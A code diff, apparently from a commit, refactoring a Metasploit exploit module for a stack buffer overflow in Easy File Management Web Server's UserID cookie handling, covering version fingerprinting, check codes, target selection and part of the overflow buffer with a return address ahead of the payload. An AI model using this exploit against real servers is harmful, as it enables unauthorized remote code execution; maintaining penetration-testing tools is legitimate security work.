@@ -12,16 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'Easy File Management Web Server v4.0/5.3 Stack Buffer Overflow' ,
15
+ 'Name' => 'Easy File Management Web Server Stack Buffer Overflow' ,
16
16
'Description' => %q{
17
- Easy File Management Web Server contains a stack buffer overflow
18
- condition that is triggered as user-supplied input is not properly
19
- validated when handling the UserID cookie. This may allow a remote
20
- attacker to execute arbitrary code.
21
-
22
- This version exploits:
23
- Easy File Management Web Server v4.0
24
- Easy File Management Web Server v5.3
17
+ Easy File Management Web Server v4.0 and v5.3 contains a stack buffer
18
+ overflow condition that is triggered as user-supplied input is not
19
+ properly validated when handling the UserID cookie. This may allow a
20
+ remote attacker to execute arbitrary code.
25
21
} ,
26
22
'Author' =>
27
23
[
@@ -42,9 +38,8 @@ def initialize(info = {})
42
38
'Arch' => ARCH_X86 ,
43
39
'DefaultOptions' =>
44
40
{
45
- 'ExitFunction ' => 'process'
41
+ 'EXITFUNC ' => 'process'
46
42
} ,
47
- 'Platform' => 'win' ,
48
43
'Payload' =>
49
44
{
50
45
'BadChars' => "\x00 \x0a \x0d ;" ,
@@ -79,34 +74,31 @@ def get_version
79
74
# NOTE: Version 5.3 still reports "4.0" in the "Server" header
80
75
#
81
76
82
- res = send_request_raw 'uri' => '/whatsnew.txt'
83
- if res and res . body =~ /What's new in Easy File Management Web Server V(\d \. \d )/
77
+ version = nil
78
+ res = send_request_raw ( { 'uri' => '/whatsnew.txt' } )
79
+ if res && res . body =~ /What's new in Easy File Management Web Server V(\d \. \d )/
84
80
version = $1
85
81
vprint_status "#{ peer } - Found version: #{ version } "
86
- return version
87
82
elsif res . headers [ 'server' ] =~ /Easy File Management Web Server v(4\. 0)/
88
83
version = $1
89
84
vprint_status "#{ peer } - Based on Server header: #{ version } "
90
- return version
91
- else
92
- fail_with ( Failure ::NoTarget , "#{ peer } - Unable to automatically detect a target" )
93
85
end
86
+
87
+ version
94
88
end
95
89
96
90
def check
97
-
91
+ code = Exploit :: CheckCode :: Safe
98
92
version = get_version
99
- unless version
100
- vprint_status "#{ peer } - No response to request"
101
- return Exploit ::CheckCode ::Unknown
93
+ if version . nil?
94
+ code = Exploit ::CheckCode ::Unknown
95
+ elsif version == "5.3"
96
+ code = Exploit ::CheckCode ::Appears
97
+ elsif version == "4.0"
98
+ code = Exploit ::CheckCode ::Appears
102
99
end
103
- if version == "5.3"
104
- return Exploit ::CheckCode ::Appears
105
- end
106
- if version == "4.0"
107
- return Exploit ::CheckCode ::Appears
108
- end
109
- Exploit ::CheckCode ::Safe
100
+
101
+ code
110
102
end
111
103
112
104
def exploit
@@ -115,23 +107,23 @@ def exploit
115
107
# Get target version to determine how to reach call/jmp esp
116
108
#
117
109
110
+ print_status ( "#{ peer } - Fingerprinting version..." )
111
+ version = get_version
112
+
118
113
if target . name =~ /Automatic/
119
- version = get_version
120
- if version =~ /5\. 3/
114
+ if version . nil?
115
+ fail_with ( Failure ::NoTarget , "#{ peer } - Unable to automatically detect a target" )
116
+ elsif version =~ /5\. 3/
121
117
my_target = targets [ 1 ]
122
- else version =~ /4\. 0/
118
+ elsif version =~ /4\. 0/
123
119
my_target = targets [ 2 ]
124
120
end
121
+ print_good ( "#{ peer } - Version #{ version } found" )
125
122
else
126
123
my_target = target
127
- end
128
-
129
- #
130
- # Check if target appears to be vulnerable, if not exit
131
- #
132
-
133
- unless check == Exploit ::CheckCode ::Appears || check == Exploit ::CheckCode ::Detected
134
- fail_with ( Failure ::NoTarget , "#{ peer } - Target does not appear to be running fmws v4.0/5.3" )
124
+ unless version && my_target . name . include? ( version )
125
+ print_error ( "#{ peer } - The selected target doesn't match the detected version, trying anyway..." )
126
+ end
135
127
end
136
128
137
129
#
@@ -150,7 +142,7 @@ def exploit
150
142
sploit << [ 0x1002466D ] . pack ( "V" ) # Push eax > retn
151
143
sploit << payload . encoded
152
144
153
- print_status "#{ peer } - Trying target #{ target . name } ..."
145
+ print_status "#{ peer } - Trying target #{ my_target . name } ..."
154
146
155
147
#
156
148
# NOTE: Successful HTTP request is required to trigger
0 commit comments